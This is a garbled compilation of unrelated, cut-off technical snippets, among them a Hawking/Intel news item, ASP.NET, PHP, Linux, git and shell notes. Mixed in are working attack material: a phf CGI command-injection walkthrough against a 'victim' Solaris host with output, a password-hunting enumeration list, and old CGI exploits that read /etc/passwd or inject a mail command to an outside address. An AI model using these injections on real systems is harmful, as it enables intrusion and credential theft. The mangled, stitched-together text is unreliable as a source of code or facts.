Stephen Hawking, a British theoretical physicist, used a 20-year-old voice communications system to be replaced by a new generation of communications platforms developed by Intel, significantly improving communication efficiency. But Hawking's voice did not change, and he still used the same speech synthesizer. Hawking is paralyzed with amyotrophic lateral sclerosis. The new custom platform, known as ACAT (assistive Context Aware Toolkit), will open u
more interesting it is.And in any case, isn't there already a shell? Come on! Let's see what OS victim is running.Test # lynx xx. xx/cgi-bin/phf? Qalias = x % 0 auname % 20-aQuery Results
/Usr/local/bin/ph-m alias = x uname-SunOS host1 5.5 Generic sun4m iSCSI SUNW, SPARCstation-4En... It's sun solaris 2.5. sun has many bugs, but we haven'tGo to get the shell. Then, let's see what services are running on this machine.Test # lynx xx. xx/cgi-bin/phf? Qalias = x % 0
are too weak and black and boring. // shy.Test # lynx xx. xx/cgi-bin/phf? Qalias = x % 0aidQuery Results
/Usr/local/bin/ph-m alias = x idUid = 60001 (nobody) gid = 60001 (nobody)En... it's nobody. this increases the difficulty, but it doesn't matter. the more difficult the machine is, the more interesting it is.And in any case, isn't there already a shell? come on! Let's see what OS victim is running.Test # lynx xx. xx/cgi-bin/phf? Qalias = x % 0 auname % 20-aQuery Results
/Usr/local/bin/ph-m a
Asp.net|chart Imports OWC. Stimgraph.helper
Private Sub Page_Load (ByVal sender as System.Object, ByVal e as System.EventArgs) Handles MyBase.Load
' Create Chartspace/chart
Dim Ochartspace as New OWC10. ChartSpace ()
Dim ochart as OWC10. ChChart
Dim oseries as OWC10. ChSeries
' Get a newly created chart ' ChartSpace
ochart = OChartSpace.Charts.Add
' Get a newly created series ' Chart
oseries = OChart.SeriesCollection.Add
' Set the Title
Ochart.hastitle = True
OChart.Title.Ca
Php efficiently removes array duplicates. This article is a simple and efficient code for removing duplicate values from one-dimensional arrays. For more information, see. The code is as follows: Copy the code? Php $ aarray (aCat, bDog, cCat); this article is a simple and efficient code for removing duplicate values from one-dimensional arrays. if you have any need, just take a look.
The code is as follows:
$ A = array
Generally I have seen the company has to do mode=4, next I want to practice is to do mode=6 a mode (Bonding mode:adaptive load Balancing)System environment:$ Cat/etc/issuecentos Release 6.7 (Final) Kernel \ r on an \mNeed a bond port custom created$ cat/etc/sysconfig/network-scripts/ifcfg-bond0 device=bond0bonding_opts= "mode=6 miimon=100" BOOTPROTO=noneONBOOT= Yesipaddr=netmask=255.255.255.0gateway=userctl=noChange the configuration of eth0 and eth0$ cat/etc/sysconfig/network-scripts/ifcfg-eth0
the submitted file! Create the. gitignore file under the root directory of the. git peer, vim. Gitignore edit the files you want to ignore. such as *.db,desktop.ini, etc.Configure aliasesgit config [--global] alias. Shorthand commands Build a git server1, must be in roo identityYum Install gitAddUser gitpasswd git2, switch user git, create warehouseSu gitSelect a directory as the Git repository, assuming/srv/sample.git, enter the command in the/SRV directory$ sudo git init--bare sample.git$ sud
In the source code, macros likely and unlikely are defined as follows (in include/Linux/compiler. h ):
# Define likely (x) _ builtin_exact CT (!! (X), 1)# Define unlikely (x) _ builtin_exact CT (!! (X), 0)
To understand macros likely and unlikely, it is obvious that _ builtin_expect must be understood. _ Builtin_ct CT is a macro introduced by GCC (version> = 2.9). It helps the compiler determine the expected value of the conditional jump to avoid time waste caused by the jump. ScoredCodeFor
file rm-f test1 Delete the current directory all files rm-rf * back up a file cp test. bak3Common Methods for. vi File OperationsView Mode: G (shift + g) jumps to the end of the file. gg jumps to the header of the file./search for a text starting from the end of the text? Search for a text dd from the beginning of the text delete a line ndd Delete multiple lines yy copy a line nyy copy multiple lines p paste one or more lines u undo the previous operation colon mode: w save: wq save and exit: x
changed to hard encoding for the unified interface, and the variable state is stored as information in XML. In this way, the only task to implement scaling by changing the state is to add a piece of text information to the XML, and the Code does not need to be modified or re-compiled. This flexibility was unexpected when XML was born.
Of course, if the interface needs to be able to extract the information configured in XML, the program needs to be able to parse the standard XML file. in Java, o
parameters, in the For statement, If there is a space-delimited string, the split output $* and [emailprotected] are quoted, with the example "$*" "[emailprotected]", at which point the difference: $* will have all parameters as the full string output, as shown above [emailprotected] will all parameters, As a standalone single character output, if there is a space-delimited string, the output is not split as a separate single character output. Comment:set and eval commands in detail: set can b
We have learned that you can use the following days commands to view information about the Linux kernel version and the Ubuntu release:Uname-rUname-aCat/proc/versionLsb-release-aWait a minuteYou can see that the kernel version of the current ubuntu12.04.5lts is Linux 3.2.0-23-generic-pae, so what are the rules for version numbering? What does generic and PAE mean?First, the Linux kernel version number sequenceThe kernel version number for Linux is typ
top informationInstructions for adjusting the Mke2fs property: Mke2fs After formatting the partition, the information in addition to the block and inode size cannot be modified, and the rest is basically:Which partition device is behind TUNE2FS-L: View information in the Super block-L Label: Set Volume label-m: Percentage of space reserved for administrators, default is 5-j: If the original file system is ext2,-j can promote it to ext3-O [^]mount-options[,...] : Set its default mount options-O
used for substitution. -s acts on SET1, neither replace nor delete, otherwise use set2 reduction after substitution or expansion.Specific examples:Simple substitution characterEcho ABC > ACAT a Abccat a |tr "a" "ABC" Abc[[email protected] mnt]# cat a |tr "a" "ABC" Abc[[email protected] mnt]# CA T a |tr "a" "CJW" Cbc[[email protected] mnt]# cat a |tr "a" "CJW" Cbc[[email protected] mnt]# cat a |tr "a" "s" SBCYou can see that there is a bit limit to mo
-:Geneva: -Cst[[email protected]~]# clush-aDatehost1:2018 Saturday September 08 -: to:xxcsthost2:2018 Saturday September 08 -: to:xxcst# support for operations such as pipelines and redirects [[email protected]~]# clush-a'echo I Love Wife >/tmp/1314'[[Email protected]~]# clush-aCat/tmp/1314host2:i Love wifehost1:i love Wife[[email protected]~]# Clush-WHost1ifconfigens33|awk-F'[ :]+' 'Nr==2{print}'192.168.94.22# plus-the B option can be the same resul
*cat/etc/cron*cat/etc/at.allowcat/etc/at.denycat/etc/cron.allowcat/etc/cron.denycat/etc/ Crontabcat/etc/anacrontabcat/var/spool/cron/crontabs/rootWhat are the plain text user names and passwords that may be on the host?Grep-i user [Filename]grep-i Pass [filename]grep-c 5 "Password" [Filename]find.-name "*.php"-print0 | xargs-0 grep-i-N "var $password" # JoomlaCommunications and networkingNIC (s), what is the system? Which network is it connected to?/sbin/ifconfig-
full.29. Campasgt; Telnet www.xxxx.net 80Trying 200.xx.xx.xx ...Connected to Venus.xxxx.netEscape character is ' ^] '.get/cgi-bin/campas?%0 acat%0a/etc/passwd%0aRoot:x:0:1:super-user:/export/home/root:/sbin/shdaemon:x:1:1::/:Bin:x:2:2::/usr/bin:sys:x:3:3::/:Adm:x:4:4:admin:/var/adm:Lp:x:71:8:line Printer ADMIN:/USR/SPOOL/LP:Smtp:x:0:0:mail Daemon User:/:/bin/false.... Now you know what to do:P30. WebgaisQuery= '; mail+foo@somewhere.nettelnet target.m
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